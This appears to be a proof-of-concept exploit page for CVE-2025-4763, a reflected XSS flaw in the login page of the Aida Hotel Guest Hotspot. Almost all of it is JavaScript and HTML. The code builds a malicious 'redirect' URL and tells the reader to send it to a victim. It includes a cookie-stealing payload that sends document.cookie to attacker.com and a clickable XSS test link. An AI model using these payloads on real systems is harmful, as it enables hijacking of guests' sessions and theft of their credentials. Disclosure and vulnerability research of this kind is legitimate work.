CVE-2025-4763 Aida Hotel Guest Hotspot 反射型XSS漏洞

<!-- CVE-2025-4763 PoC - Reflected XSS in Hotel Guest Hotspot --> <!-- Replace TARGET_URL with the actual Hotel Guest Hotspot URL --> <script> function createXSSPayload() { // Basic XSS payload to test vulnerability const payload = "<script>alert('XSS Vulnerability - CVE-2025-4763');console.log(document.cookie);</script>"; return payload; } function testVulnerability() { const targetUrl = "http://TARGET_URL/hotspot/login"; const maliciousUrl = targetUrl + "?redirect=" + encodeURIComponent(createXSSPayload()); console.log("Malicious URL:", maliciousUrl); console.log("Send this URL to the victim to test the XSS vulnerability."); // Display the URL for copying const urlElement = document.createElement('a'); urlElement.href = maliciousUrl; urlElement.textContent = "Click to test (will trigger alert)"; document.body.appendChild(urlElement); } // Cookie stealing payload const cookieStealerPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'; console.log("Cookie Stealer Payload:", encodeURIComponent(cookieStealerPayload)); </script> <!-- HTML PoC --> <a href="http://TARGET_URL/hotspot/login?redirect=%3Cscript%3Ealert%28document.domain%29%3C/script%3E" target="_blank">Click Me (XSS Test)</a>